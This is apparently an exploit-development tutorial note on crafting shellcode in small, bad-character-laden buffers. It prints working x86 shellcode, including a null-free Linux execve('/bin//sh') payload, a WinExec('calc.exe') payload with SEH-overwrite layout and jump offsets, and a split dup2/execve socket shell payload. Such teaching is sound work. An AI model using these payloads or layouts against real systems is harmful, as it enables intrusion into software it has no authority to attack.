# Shellcode Under Constraints

> Techniques for crafting exploit payloads when buffer space is limited, bad characters are abundant, and mitigations restrict your options.

- Published: 2025-08-29
- Updated: 2026-07-11
- Tags: Exploitation, Shellcode, Windows, Linux, x86
- Source: https://stevenfoerster.com/notes/shellcode-under-constraints/

Real-world exploit development rarely offers the luxury of a 500-byte contiguous buffer with no bad characters. More often you're working within tight limits -- a 68-byte window, a null byte that truncates your payload, or a firewall that blocks your reverse shell. These constraints force creative solutions.

## A null-free Linux baseline

The smallest useful baseline is a 23-byte, 32-bit Linux payload for
`execve("/bin//sh", NULL, NULL)`. It shows the three techniques that recur in
larger constrained payloads: zero a register with `xor`, set only the low byte
when an immediate would introduce nulls, and construct strings backwards on the
stack.

```asm
section .text
    global _start

_start:
    xor eax, eax        ; zero EAX without embedding 00 bytes
    push eax            ; string terminator
    push 0x68732f2f     ; "//sh"
    push 0x6e69622f     ; "/bin"
    mov ebx, esp        ; filename
    mov ecx, eax        ; argv = NULL
    mov edx, eax        ; envp = NULL
    mov al, 0x0b        ; i386 execve syscall
    int 0x80
```

```text
31 c0 50 68 2f 2f 73 68 68 2f 62 69 6e 89 e3 89 c1 89 c2 b0 0b cd 80
```

Linux accepts null `argv` and `envp` pointers for `execve`; portable Unix code
should supply null-terminated arrays and an `argv[0]`. This payload also assumes
the i386 syscall ABI and executable memory. Those are lab constraints, not
production conventions. Confirm the assembled bytes with `objcopy` or `xxd`
rather than copying a byte string without rebuilding it.

## The Null Byte Problem in SafeSEH Bypass

When exploiting an SEH overflow on Windows, you need a POP POP RET gadget from a module without SafeSEH. Sometimes the only viable candidate has a null byte in its address:

```
Found CALL DWORD PTR SS:[EBP+30] at 0x00280B0B [none]
** Null byte ** PAGE_READONLY
```

The address `0x00280B0B` starts with a null byte. In little-endian, the packed address is `\x0b\x0b\x28\x00` -- the null byte is at the end. This means `strcpy` and similar functions will write the full address, but **nothing after it** gets copied into the buffer.

This has a cascading effect on payload design:

```
Normal SEH exploit layout:
| Junk | nSEH (jmp) | SEH (POP POP RET) | NOP sled | Shellcode |
  N bytes    4 bytes       4 bytes           ~50 B      ~300 B

With null byte in SEH address:
| Junk | nSEH (jmp) | SEH (POP POP RET\x00) |  ← everything stops here
  N bytes    4 bytes       4 bytes
```

The shellcode must go **before** the SEH overwrite, not after. In this lab, nSEH begins at offset 64 and the SEH handler begins at offset 68. That leaves exactly 64 bytes before nSEH for a landing area and payload. The nSEH and handler overwrite consume another eight bytes.

## Hand-Crafted Shellcode for Tight Spaces

With ~68 bytes, msfvenom's encoded output (typically 200+ bytes) won't fit. You need hand-crafted, minimal shellcode.

### WinExec in 26 bytes on one legacy lab image

A minimal `WinExec("calc.exe", 1)` shellcode:

```python
sc = b"\x90"                            # NOP (landing pad)
sc += b"\x33\xDB"                       # xor ebx, ebx
sc += b"\x53"                           # push ebx (null terminator)
sc += b"\x68\x2e\x65\x78\x65"          # push ".exe"
sc += b"\x68\x63\x61\x6c\x63"          # push "calc"
sc += b"\x8B\xCC"                       # mov ecx, esp (ptr to "calc.exe")
sc += b"\x6A\x01"                       # push 1 (SW_SHOWNORMAL)
sc += b"\x51"                           # push ecx (lpCmdLine)
sc += b"\xBB\xAD\x23\x86\x7C"          # mov ebx, 0x7C8623AD (WinExec addr)
sc += b"\xFF\xD3"                       # call ebx
```

Every byte is accounted for: this string is 26 bytes, including its one-byte landing NOP. The absolute `WinExec` address is valid only for the specific 32-bit Windows XP SP3 lab image on which it was resolved. It is not portable to modern Windows, another service pack, or a process where ASLR changes the module base.

```text
0:000> x kernel32!WinExec
7c8623ad kernel32!WinExec
```

Resolve the symbol in a debugger attached to the target image and record that image with the exploit. A gadget search is not a substitute for resolving an exported function, and a hardcoded API address is not a general shellcode technique.

### The Budget

With this shellcode occupying 26 bytes, the 64-byte pre-nSEH region can hold 38 bytes of landing space followed by the payload:

```
| NOP sled (38 B) | Shellcode (26 B) | nSEH (4 B) | SEH (4 B) | \x00 stops copy |
      ↑                                      ↑
   Landing zone                          Short jmp back
```

nSEH contains a short jump backwards (`\xeb\xd2\x90\x90`). From the instruction pointer at offset 66, the signed displacement `0xd2` is -46, so execution lands at offset 20 inside the NOP sled and slides into the payload. Recalculate it if the crash pattern gives you a different overwrite position.

## When Egghunters Don't Save You

An egghunter is usually the answer for small buffers: place a ~32-byte egghunter in the limited space and the full shellcode elsewhere in memory. But this requires two things:

1. **A second input vector** to place the larger shellcode somewhere in the process's address space (another field, a socket recv, a file read, an environment variable)
2. **Enough space** for the egghunter itself plus the SEH/nSEH overhead

If neither condition is met -- for example, a local file-based exploit with a single input and only 68 bytes of controlled space -- the egghunter approach doesn't help. You're stuck fitting everything in the primary buffer.

### The Constraint Cascade

When multiple mitigations combine with limited space, the constraints compound:

| Mitigation                 | Space Cost                      | Effect                           |
| -------------------------- | ------------------------------- | -------------------------------- |
| SafeSEH bypass (null byte) | Lose everything after offset 68 | Shellcode must precede SEH       |
| nSEH short jump            | 4 bytes                         | Eats into buffer                 |
| SEH handler address        | 4 bytes                         | Eats into buffer                 |
| DEP                        | Need ROP chain (~60+ bytes)     | Won't fit in remaining ~60 bytes |

Adding DEP to the mix makes this configuration effectively unexploitable with the available gadgets. A ROP chain to bypass DEP typically needs 60-100+ bytes, and there's no room alongside the shellcode. Recognizing this dead end early saves time.

## Splitting Shellcode Across Gaps

When the buffer is large enough overall but **not contiguous**, shellcode can be divided into independent chunks connected by short jumps.

Consider a remote service where `strcpy` writes to buffers spaced 0x40 bytes apart in memory:

```text
0xf74005d0: [chunk 1 -- 32 bytes usable]
0xf74005f0: [gap     -- 32 bytes]
0xf7400610: [chunk 2 -- 32 bytes usable]
0xf7400630: [gap     -- 32 bytes]
0xf7400650: [chunk 3 -- 32 bytes usable]
```

This example assumes the debugger confirmed those exact addresses and that the connected socket is file descriptor 4. Chunk 1 is padded so its final two bytes sit at `0xf74005ee`; the next instruction is at `0xf74005f0`. A `0x20` displacement then lands at `0xf7400610`.

```python
# Chunk 1: dup2(4, 2), dup2(4, 1), dup2(4, 0)
chunk1  = b"\x31\xc0"              # xor eax, eax
chunk1 += b"\x31\xdb"              # xor ebx, ebx
chunk1 += b"\xb3\x04"              # mov bl, 4 (known socket fd)
chunk1 += b"\x31\xc9"              # xor ecx, ecx
chunk1 += b"\xb1\x02"              # mov cl, 2 (new fd)
chunk1 += b"\xb0\x3f\xcd\x80"      # loop: dup2(ebx, ecx)
chunk1 += b"\x49\x79\xf9"          # dec ecx; jns loop
chunk1 += b"\x90" * (30 - len(chunk1))
chunk1 += b"\xeb\x20"              # from 0x5f0 to chunk 2 at 0x610

# Chunk 2: execve("/bin/sh")
chunk2  = b"\x50"                  # push eax (null)
chunk2 += b"\x68\x2f\x2f\x73\x68"  # push "//sh"
chunk2 += b"\x68\x2f\x62\x69\x6e"  # push "/bin"
chunk2 += b"\x89\xe3\x50\x53"      # setup argv
chunk2 += b"\x89\xe1\x99"          # ecx, edx
chunk2 += b"\xb0\x0b\xcd\x80"      # execve
```

The key rule is to split at points where every internal branch remains inside its chunk. Here, `jns` loops within chunk 1. The final `\xeb\x20` is the only cross-chunk branch.

## Calculating Jump Distances

The short jump instruction `\xeb\xNN` jumps `NN` bytes forward from the instruction **after** the jump (since the CPU has already advanced past the 2-byte instruction):

```text
Jump bytes at:      0xf74005ee (\xeb\x20)
Next instruction:   0xf74005f0 (offset is measured from here)
Chunk 2 starts at:  0xf7400610
Distance:           0x610 - 0x5f0 = 0x20 (32 bytes)
```

So `\xeb\x20` is correct for this measured layout. Always verify the source and target addresses in GDB. A copied displacement is meaningless when either buffer start or usable length changes.

## General Principles

1. Map your byte budget before writing any shellcode: know exactly how many bytes are available and where they can go.
2. Hand-craft when space is tight. Encoders and generators add overhead; manual assembly can save 50-70% of the space.
3. Watch for null bytes cascading: a single null byte in a critical address can reshape the entire exploit layout.
4. Expect mitigations to compound. Each protection eats into your available space; combinations can be unexploitable with a given approach.
5. Recognize dead ends. If the math doesn't add up (ROP chain + shellcode > available space), pivot to a different strategy rather than forcing it.
6. Use short jumps to bridge gaps. Discontinuous buffers are workable as long as the gaps are within 127 bytes and the shellcode splits cleanly.

The [Linux Syscalls for Exploit Development](https://stevenfoerster.com/tutorials/linux-syscalls-for-exploit-development/) tutorial covers the syscall interface these payloads rely on, and the [basic stack buffer overflow](https://stevenfoerster.com/tutorials/basic-stack-buffer-overflow-x86/) tutorial walks through injecting shellcode into a vulnerable binary end-to-end.